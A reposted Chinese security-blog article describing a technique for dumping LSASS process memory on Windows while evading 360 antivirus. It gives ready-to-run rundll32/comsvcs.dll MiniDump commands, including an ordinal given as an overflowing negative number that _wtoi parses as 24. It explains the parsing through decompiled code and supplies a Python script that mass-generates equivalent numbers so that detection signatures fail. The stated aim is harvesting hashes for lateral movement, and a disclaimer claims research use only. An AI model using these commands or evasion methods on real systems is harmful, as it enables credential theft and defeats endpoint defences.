攻防旺季Rundll又活了DumpLsass免杀过最新360(附代码视频)

admin 2026-06-20 04:57:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档介绍一种利用rundll32结合wtoi函数整数溢出漏洞实现LSASS进程Dump的免杀技术,通过传入特定超长负数字符串使系统解析为MiniDump导出序号24,绕过360等杀软检测。文章详细分析逆向原理并提供Python脚本批量生成等效数字,附实操视频演示。 综合评分: 82 文章分类: 红队,免杀,内网渗透,漏洞分析,实战经验


cover_image

攻防旺季 Rundll又活了 Dump Lsass免杀过最新360(附代码视频)

原创

Ting丶 Ting丶

Ting的安全笔记

2026年6月18日 18:11 四川

在小说阅读器读本章

去阅读

首先向关注当前公众号的师傅们说声抱歉,由于目前研究的内容都便在网上公开,所以有比较长时间没有更新。

最近攻防的项目也逐渐多起来了,红队中少不了要去dump一下lsass,去获取一些hash,进一步横向。

这里分享一种目前仍然适用的“dump lsass 免杀过最新360”方法。

过去dump lsass的方法很多,例如procdump、sqldumper、createdump、avdump、rdleakdiag、rundll32等,或者直接使用mimikatz。但很多已经不免杀了

而wtoi溢出让rundll32活了

目前我们知道这种写法是可以dump lsass成功的,但是不免杀

rundll32 comsvcs.dll MiniDump  %LSASS_PID% dump.bin full

以上有一个很明显的特征“MiniDump”这个导出函数的dump lsass的关键,所以备受杀软关注

而rundll32如果第二个参数首字符是 #,则不会当成函数名,而是解析为导出序号 ordinal

我们用IDA来看看MiniDump的导出序号是什么 是24

因此有了下面的命令

rundll32 comsvcs.dll '#24' %LSASS_PID% dump.bin full

目前火绒是没有拦截的,不过360是有拦截的

那么就引出了下面的进阶版 下面来讲解原理

rundll32 "C:\windows\system32\comsvcs.dll,#-9999999999999999999999999999999976"  %LSASS_PID% C:\lsass_dump.bin full

通过逆向发现 _FindCommandFunction函数处理了#后面的数字 用的是wtoi

而这个_wtoi是一个导出函数 本身rundll32自定义的

查看exports表 可以发现是用的msvcrt.dll导出的_wtoi

那么继续分析msvcrt.dll中的_wtoi

真正实现_wtoi 的函数是这个wcstoxlX

__int64 __fastcall wcstoxlX(struct localeinfo_struct *a1, wint_t *a2, wint_t **a3, unsigned int a4, int a5, int a6)
{
  wint_t *v9; // rbx
  wint_t v10; // bp
  unsigned int v11; // edi
  int v12; // esi
  unsigned int v13; // r13d
  unsigned int v14; // ecx
  int v15; // ecx
  wint_t *v16; // rbx
  __int64 result; // rax
  __crt_locale_pointers Locale; // [rsp+30h] [rbp-48h] BYREF
  __int64 v19; // [rsp+40h] [rbp-38h]
  char v20; // [rsp+48h] [rbp-30h]

  _LocaleUpdate::_LocaleUpdate((_LocaleUpdate *)&Locale, a1);
  if ( a3 )
    *a3 = a2;
  if ( !a2 || a4 && a4 - 2 > 0x22 )
  {
    *errno() = 22;
    invalid_parameter(nullptr, nullptr, nullptr, 0, 0);
  }
  v9 = a2 + 1;
  *errno() = 0;
  v10 = *a2;
  v11 = 0;
  while ( iswctype_l(v10, 8u, &Locale) )
    v10 = *v9++;
  v12 = a5;
  if ( v10 == '-' )
  {
    v12 = a5 | 2;
  }
  else if ( v10 != '+' )
  {
    goto LABEL_14;
  }
  v10 = *v9++;
LABEL_14:
  if ( a4 )
  {
    if ( a4 != 16 )
      goto LABEL_24;
    goto LABEL_21;
  }
  if ( !(unsigned int)wchartodigit(v10) )
  {
    if ( ((*v9 - 88) & 0xFFDF) != 0 )
    {
      a4 = 8;
      goto LABEL_24;
    }
    a4 = 16;
LABEL_21:
    if ( !(unsigned int)wchartodigit(v10) && ((*v9 - 88) & 0xFFDF) == 0 )
    {
      v10 = v9[1];
      v9 += 2;
    }
    goto LABEL_24;
  }
  a4 = 10;
LABEL_24:
  v13 = 0xFFFFFFFF / a4;
  while ( 1 )
  {
    v14 = wchartodigit(v10);
    if ( v14 != -1 )
      goto LABEL_31;
    if ( (unsigned __int16)(v10 - 65) > 0x19u && (unsigned __int16)(v10 - 97) > 0x19u )
      break;
    v15 = v10 - 32;
    if ( (unsigned __int16)(v10 - 97) > 0x19u )
      v15 = v10;
    v14 = v15 - 55;
LABEL_31:
    if ( v14 >= a4 )
      break;
    v12 |= 8u;
&nbsp; &nbsp; if ( a6 || v11 < v13 || v11 == v13 && v14 <= 0xFFFFFFFF % a4 )
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; v11 = v14 + a4 * v11;
&nbsp; &nbsp; }
&nbsp; &nbsp; else
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; v12 |= 4u;
&nbsp; &nbsp; &nbsp; if ( !a3 )
&nbsp; &nbsp; &nbsp; &nbsp; break;
&nbsp; &nbsp; }
&nbsp; &nbsp; v10 = *v9++;
&nbsp; }
&nbsp; v16 = v9 - 1;
&nbsp; if ( (v12 & 8) != 0 )
&nbsp; {
&nbsp; &nbsp; if ( (v12 & 4) == 0 )
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; if ( (v12 & 1) != 0 )
&nbsp; &nbsp; &nbsp; &nbsp; goto LABEL_53;
&nbsp; &nbsp; &nbsp; if ( (v12 & 2) != 0 )
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; if ( v11 <= 0x80000000 )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; goto LABEL_53;
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; else if ( v11 <= 0x7FFFFFFF )
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; goto LABEL_53;
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp; if ( !a6 )
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; *errno() = 34;
&nbsp; &nbsp; &nbsp; if ( (v12 & 1) != 0 )
&nbsp; &nbsp; &nbsp; &nbsp; v11 = -1;
&nbsp; &nbsp; &nbsp; else
&nbsp; &nbsp; &nbsp; &nbsp; v11 = ((v12 & 2) != 0) + 0x7FFFFFFF;
&nbsp; &nbsp; }
&nbsp; }
&nbsp; else
&nbsp; {
&nbsp; &nbsp; if ( a3 )
&nbsp; &nbsp; &nbsp; v16 = a2;
&nbsp; &nbsp; v11 = 0;
&nbsp; }
LABEL_53:
&nbsp; if ( a3 )
&nbsp; &nbsp; *a3 = v16;
&nbsp; result = -v11;
&nbsp; if ( (v12 & 2) == 0 )
&nbsp; &nbsp; result = v11;
&nbsp; if ( v20 )
&nbsp; &nbsp; *(_DWORD *)(v19 + 200) &= ~2u;
&nbsp; return result;
}

那么当  -9999999999999999999999999999999976  传入之后 执行的步骤如下

  • 输入字符串:负号 + 超长数字,循环持续计算无符号 32 位 v11;
  • 每一步v11 = v11 * 10 + digit,超出 32 位无符号范围自动模 2^32=4294967296;
  • 全部字符计算完毕后,v11 = 24(无符号 32 位);
  • 代码走负数分支:result = -v11 = -24;
  • _wtoi 把 64 位的 -24 截断成 32 位 int,返回值 = 0xFFFFFFE8 = -24;
  • 回到 rundll32 的 _FindCommandFunction:c运行
v7 = _wtoi(L"-999...9976"); // v7 = -24
GetProcAddress(hMod, (LPCSTR)v7);
  • 上层 rundll32 代码对序号取负:ordinal = -v7 = 24,成功匹配 MiniDump 导出序号。

那么是不是这样 -9999999999999999999999999999999976这样的数字可以呢?如果这个数字被加入了规则不就又失效了吗?

暂时不用担心,可以通过以下脚本一次性批量生成大量的这样的数字

import sys

def wtoi_overflow(s: str, bits: int = 32) -> int:

&nbsp; &nbsp; s = s.strip()
&nbsp; &nbsp; if not s:
&nbsp; &nbsp; &nbsp; &nbsp; return 0
&nbsp; &nbsp; sign = 1
&nbsp; &nbsp; idx = 0
&nbsp; &nbsp; if s[0] == '-':
&nbsp; &nbsp; &nbsp; &nbsp; sign = -1
&nbsp; &nbsp; &nbsp; &nbsp; idx = 1
&nbsp; &nbsp; elif s[0] == '+':
&nbsp; &nbsp; &nbsp; &nbsp; idx = 1

&nbsp; &nbsp; mask = (1 << bits) - 1
&nbsp; &nbsp; half = 1 << (bits - 1)
&nbsp; &nbsp; result = 0
&nbsp; &nbsp; for ch in s[idx:]:
&nbsp; &nbsp; &nbsp; &nbsp; if ch.isdigit():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = (result * 10 + int(ch)) & mask
&nbsp; &nbsp; &nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break

&nbsp; &nbsp; if sign == -1:
&nbsp; &nbsp; &nbsp; &nbsp; result = (-result) & mask

&nbsp; &nbsp; if result >= half:
&nbsp; &nbsp; &nbsp; &nbsp; result -= (1 << bits)
&nbsp; &nbsp; return result

def generate_equivalent_numbers(base_str: str, count: int = 20,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bits: int = 32, min_digits: int = 20):

&nbsp; &nbsp; target_overflow = wtoi_overflow(base_str, bits)
&nbsp; &nbsp; print(f"[*] 目标溢出值: {target_overflow}")

&nbsp; &nbsp; base_int = int(base_str)
&nbsp; &nbsp; mod = 1 << bits

&nbsp; &nbsp; equivalents = []

&nbsp; &nbsp; for k in range(-count, count + 1):
&nbsp; &nbsp; &nbsp; &nbsp; val = base_int + k * mod

&nbsp; &nbsp; &nbsp; &nbsp; if val == 0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue
&nbsp; &nbsp; &nbsp; &nbsp; if len(str(abs(val))) >= min_digits:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; equivalents.append(str(val))
&nbsp; &nbsp; return equivalents

if __name__ == "__main__":
&nbsp; &nbsp; base = "-10000000000000000000000042949672936"

&nbsp; &nbsp; if len(sys.argv) > 1:
&nbsp; &nbsp; &nbsp; &nbsp; base = sys.argv[1]
&nbsp; &nbsp; bits = 32
&nbsp; &nbsp; if len(sys.argv) > 2:
&nbsp; &nbsp; &nbsp; &nbsp; bits = int(sys.argv[2])

&nbsp; &nbsp; print(f"使用基数: {base}, 模 2^{bits}")
&nbsp; &nbsp; numbers = generate_equivalent_numbers(base, count=20, bits=bits,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; min_digits=len(base)-2)
&nbsp; &nbsp; print(f"\n生成的等效超大数字 ({len(numbers)} 个):")
&nbsp; &nbsp; for n in numbers:
&nbsp; &nbsp; &nbsp; &nbsp; print(n)

复现视频

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

Ting的安全笔记已关注

分享视频

,时长02:50

0/0

00:00/02:50

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

02:50

02:50

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

攻防旺季 Rundll又活了 Dump Lsass免杀过最新360(附代码视频)

观看更多

原创

,

攻防旺季 Rundll又活了 Dump Lsass免杀过最新360(附代码视频)

Ting的安全笔记已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ting的安全笔记 Ting丶 Ting丶《攻防旺季 Rundll又活了 Dump Lsass免杀过最新360(附代码视频)》

评论:0   参与:  0